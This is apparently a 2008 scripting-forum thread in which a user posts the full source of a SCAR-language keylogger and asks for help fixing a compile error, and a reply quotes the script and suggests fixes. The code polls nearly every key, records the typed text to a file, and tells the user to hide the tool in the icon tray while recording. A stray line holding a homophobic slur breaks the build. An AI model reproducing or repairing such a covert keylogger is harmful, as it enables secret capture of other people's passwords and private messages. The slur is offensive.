Problem with Jesus's Keylogger V 3.1!

**imported_charlie_bard** · 10-24-2008, 02:56 AM

heres the script: /////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
////// This script can be started when ever as it saves the text in //////
////// to a text document file so you can record massive amounts of //////
////// text and read it easily. //////
////// //////
////// INSTRUCTIONS //////
////// 1.Press Ctrl + M to hide SCAR (goes into icon tray) //////
////// 2.Press Ctrl + Alt + R to start recording //////
////// 3.press F11 and F12 to stop recording if you stop the script //////
////// it will not save your Keylogs. //////
////// //////
////// Have Fun =] Again... //////
////// //////
////// INFORMATION //////
////// Jesus's Keylogger V 3.0 //////
////// Created by Jesus pwns Zezima [ Shade 45 ] //////
////// on Tuesday 22 July 2008 //////
////// //////
////// New features: //////
////// -Logs Saved into text document //////
////// //////
////// //////
////// Please Report All Bugs and Suggestions //////
////// //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt'; ////Change to what file type you want

var
Information : String;
CharCount : Integer;

Procedure SaveReport;
var
savefilecreate: Tstringlist;
Begin
savefilecreate := Tstringlist.create;
savefilecreate.add(Information);
If Not savetofile(savefilecreate, apppath + logname + FileType) Then
WriteLn('Failed to save keylogs.')
Else
WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
begin
CharCount := CharCount + 1;
insert(' ', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('a', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('b', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('c', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('d', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('e', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('f', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('g', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('h', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('i', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('j', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('k', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('l', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('m', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('n', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('o', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('p', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('r', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('s', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('t', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('u', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('v', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('w', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('x', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('1', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('2', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('3', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('4', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('5', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('6', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('7', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('8', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('9', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('0') then
begin
CharCount := CharCount + 1;
insert('0', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('`', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(';', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(',') then
begin
CharCount := CharCount + 1;
insert(',', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('.', information, CharCount + 1);
wait(100)
end;

if iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('/', information, CharCount + 1);
wait(100)
end;

if iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('-', information, CharCount + 1);
wait(100)
end;

if iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('=', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('\', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('[', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(']') then
begin
CharCount := CharCount + 1;
insert(']', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('A', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('B', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('C', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('D', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('E', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('F', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('G', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('H', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('I', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('J', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('K', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('L', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('M', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('N', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('O', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('P', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('Q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('R', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('S', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('T', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('U', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('V', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('W', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('X', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('Y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('Z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('!', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('@', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('#', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('$', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('%', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('^', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('&', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('*', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('(', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
begin
CharCount := CharCount + 1;
insert(')', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('_', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('+', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('|', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('~', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(':', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('{', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
begin
CharCount := CharCount + 1;
insert('}', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
begin
CharCount := CharCount + 1;
insert('<', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('>', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('?', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
savereport;
wait(200)
terminatescript;
end;
until(false)
end;

begin
findkeys;Hello u gay shit lol 5 3s 333333 wel 6 lol hello
end.

but it keeps giving me this error: Line 816: [Error] (816:10): Unknown identifier 'Hello' in script C:\Program Files\SCAR 3.15\Scripts\Scripting Tools\Jesus Keylogger v3.1.scar
And if i delete this part it just comes up with: [Error] (814:1): Unexpected end of file.
If someone knows how to fix this please post how below cos its really annoying havig a script that dosent work

**joelster134** · 10-24-2008, 05:47 AM

I got it to work but it just started then stopped..

[QUOTE=charlie_bard;487218]

SCAR Code:

/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//////  This script can be started when ever as it saves the text in   //////
////// to a text document file so you can record massive amounts of    //////
//////                     text and read it easily.                    //////
//////                                                                 //////
//////                           INSTRUCTIONS                          //////
//////  1.Press Ctrl + M to hide SCAR (goes into icon tray)            //////
//////  2.Press Ctrl + Alt + R to start recording                      //////
//////  3.press F11 and F12 to stop recording if you stop the script   //////
//////                it will not save your Keylogs.                   //////
//////                                                                 //////
//////                       Have Fun =] Again...                      //////
//////                                                                 //////
//////                           INFORMATION                           //////
//////                     Jesus's Keylogger V 3.0                     //////
//////             Created by Jesus pwns Zezima [ Shade 45 ]           //////
//////                      on Tuesday 22 July 2008                    //////
//////                                                                 //////
//////                            New features:                        //////
//////                    -Logs Saved into text document               //////
//////                                                                 //////
//////                                                                 //////
//////              Please Report All Bugs and Suggestions             //////
//////                                                                 //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////






program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt';   ////Change to what file type you want

var
Information : String;
CharCount : Integer;


Procedure SaveReport;
var
  savefilecreate: Tstringlist;
Begin
  savefilecreate := Tstringlist.create;
  savefilecreate.add(Information);
  If Not savetofile(savefilecreate, apppath + logname + FileType) Then
  WriteLn('Failed to save keylogs.')
  Else
  WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
   begin
   CharCount := CharCount + 1;
   insert(' ', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('a') then
   begin
   CharCount := CharCount + 1;
   insert('a', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('b') then
   begin
     CharCount := CharCount + 1;
   insert('b', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('c') then
   begin
     CharCount := CharCount + 1;
   insert('c', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('d') then
   begin
     CharCount := CharCount + 1;
   insert('d', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('e') then
   begin
     CharCount := CharCount + 1;
   insert('e', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('f') then
   begin
     CharCount := CharCount + 1;
   insert('f', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('g') then
   begin
     CharCount := CharCount + 1;
   insert('g', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('h') then
   begin
     CharCount := CharCount + 1;
   insert('h', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('i') then
   begin
     CharCount := CharCount + 1;
   insert('i', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('j') then
   begin
     CharCount := CharCount + 1;
   insert('j', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('k') then
   begin
     CharCount := CharCount + 1;
   insert('k', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('l') then
   begin
     CharCount := CharCount + 1;
   insert('l', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('m') then
   begin
     CharCount := CharCount + 1;
   insert('m', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('n') then
   begin
     CharCount := CharCount + 1;
   insert('n', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('o') then
   begin
     CharCount := CharCount + 1;
   insert('o', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('p') then
   begin
     CharCount := CharCount + 1;
   insert('p', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('q') then
   begin
     CharCount := CharCount + 1;
   insert('q', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('r') then
   begin
     CharCount := CharCount + 1;
   insert('r', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('s') then
   begin
     CharCount := CharCount + 1;
   insert('s', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('t') then
   begin
     CharCount := CharCount + 1;
   insert('t', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('u') then
   begin
     CharCount := CharCount + 1;
   insert('u', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('v') then
   begin
     CharCount := CharCount + 1;
   insert('v', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('w') then
   begin
     CharCount := CharCount + 1;
   insert('w', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('x') then
   begin
     CharCount := CharCount + 1;
   insert('x', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('y') then
   begin
     CharCount := CharCount + 1;
   insert('y', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('z') then
   begin
     CharCount := CharCount + 1;
   insert('z', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('1') then
   begin
     CharCount := CharCount + 1;
   insert('1', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('2') then
   begin
     CharCount := CharCount + 1;
   insert('2', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('3') then
   begin
     CharCount := CharCount + 1;
   insert('3', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('4') then
   begin
     CharCount := CharCount + 1;
   insert('4', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('5') then
   begin
     CharCount := CharCount + 1;
   insert('5', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('6') then
   begin
     CharCount := CharCount + 1;
   insert('6', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('7') then
   begin
     CharCount := CharCount + 1;
   insert('7', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('8') then
   begin
     CharCount := CharCount + 1;
   insert('8', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('9') then
   begin
     CharCount := CharCount + 1;
   insert('9', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('0') then
   begin
     CharCount := CharCount + 1;
   insert('0', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('`') then
   begin
     CharCount := CharCount + 1;
   insert('`', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(';') then
   begin
     CharCount := CharCount + 1;
   insert(';', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(',') then
   begin
     CharCount := CharCount + 1;
   insert(',', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('.') then
   begin
     CharCount := CharCount + 1;
   insert('.', information, CharCount + 1);
   wait(100)
end;


if iskeydown('/') then
   begin
     CharCount := CharCount + 1;
   insert('/', information, CharCount + 1);
   wait(100)
end;


if iskeydown('-') then
   begin
     CharCount := CharCount + 1;
   insert('-', information, CharCount + 1);
   wait(100)
end;


if iskeydown('=') then
   begin
     CharCount := CharCount + 1;
   insert('=', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('\') then
   begin
     CharCount := CharCount + 1;
   insert('\', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown('[') then
   begin
     CharCount := CharCount + 1;
   insert('[', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if iskeydown(']') then
   begin
     CharCount := CharCount + 1;
   insert(']', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
   begin
     CharCount := CharCount + 1;
   insert('A', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
   begin
     CharCount := CharCount + 1;
   insert('B', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
   begin
     CharCount := CharCount + 1;
   insert('C', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
   begin
     CharCount := CharCount + 1;
   insert('D', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
   begin
     CharCount := CharCount + 1;
   insert('E', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
   begin
     CharCount := CharCount + 1;
   insert('F', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
   begin
     CharCount := CharCount + 1;
   insert('G', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
   begin
     CharCount := CharCount + 1;
   insert('H', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
   begin
     CharCount := CharCount + 1;
   insert('I', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
   begin
     CharCount := CharCount + 1;
   insert('J', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
   begin
     CharCount := CharCount + 1;
   insert('K', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
   begin
     CharCount := CharCount + 1;
   insert('L', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
   begin
     CharCount := CharCount + 1;
   insert('M', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
   begin
     CharCount := CharCount + 1;
   insert('N', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
   begin
     CharCount := CharCount + 1;
   insert('O', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
   begin
     CharCount := CharCount + 1;
   insert('P', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
   begin
     CharCount := CharCount + 1;
   insert('Q', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
   begin
     CharCount := CharCount + 1;
   insert('R', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
   begin
     CharCount := CharCount + 1;
   insert('S', information, CharCount + 1);
   wait(100)
end;
 wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
   begin
     CharCount := CharCount + 1;
   insert('T', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
   begin
     CharCount := CharCount + 1;
   insert('U', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
   begin
     CharCount := CharCount + 1;
   insert('V', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
   begin
     CharCount := CharCount + 1;
   insert('W', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
   begin
     CharCount := CharCount + 1;
   insert('X', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
   begin
     CharCount := CharCount + 1;
   insert('Y', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
   begin
     CharCount := CharCount + 1;
   insert('Z', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
   begin
     CharCount := CharCount + 1;
   insert('!', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
   begin
     CharCount := CharCount + 1;
   insert('@', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
   begin
     CharCount := CharCount + 1;
   insert('#', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
   begin
     CharCount := CharCount + 1;
   insert('$', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
   begin
     CharCount := CharCount + 1;
   insert('%', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
   begin
     CharCount := CharCount + 1;
   insert('^', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
   begin
     CharCount := CharCount + 1;
   insert('&', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
   begin
     CharCount := CharCount + 1;
   insert('*', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
   begin
     CharCount := CharCount + 1;
   insert('(', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
   begin
     CharCount := CharCount + 1;
   insert(')', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
   begin
     CharCount := CharCount + 1;
   insert('_', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
   begin
     CharCount := CharCount + 1;
   insert('+', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
   begin
     CharCount := CharCount + 1;
   insert('|', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
   begin
     CharCount := CharCount + 1;
   insert('~', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
   begin
     CharCount := CharCount + 1;
   insert(':', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
   begin
     CharCount := CharCount + 1;
   insert('{', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
   begin
     CharCount := CharCount + 1;
   insert('}', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
   begin
     CharCount := CharCount + 1;
   insert('<', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
   begin
     CharCount := CharCount + 1;
   insert('>', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
   begin
     CharCount := CharCount + 1;
   insert('?', information, CharCount + 1);
   wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
   savereport;
wait(200)
   terminatescript;
   end;
   until(false)
end;

begin
findkeys;Hello u gay shit lol 5 3s 333333 wel 6 lol hello
end.

Add in SCAR tags (for script)

as for your error....remove that line or put '' around it like

SCAR Code:

findkeys;'Hello u gay shit lol 5 3s 333333 wel 6 lol hello';

or remove it and put

SCAR Code:

begin
end.

like this

SCAR Code:

/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//////  This script can be started when ever as it saves the text in   //////
////// to a text document file so you can record massive amounts of    //////
//////                     text and read it easily.                    //////
//////                                                                 //////
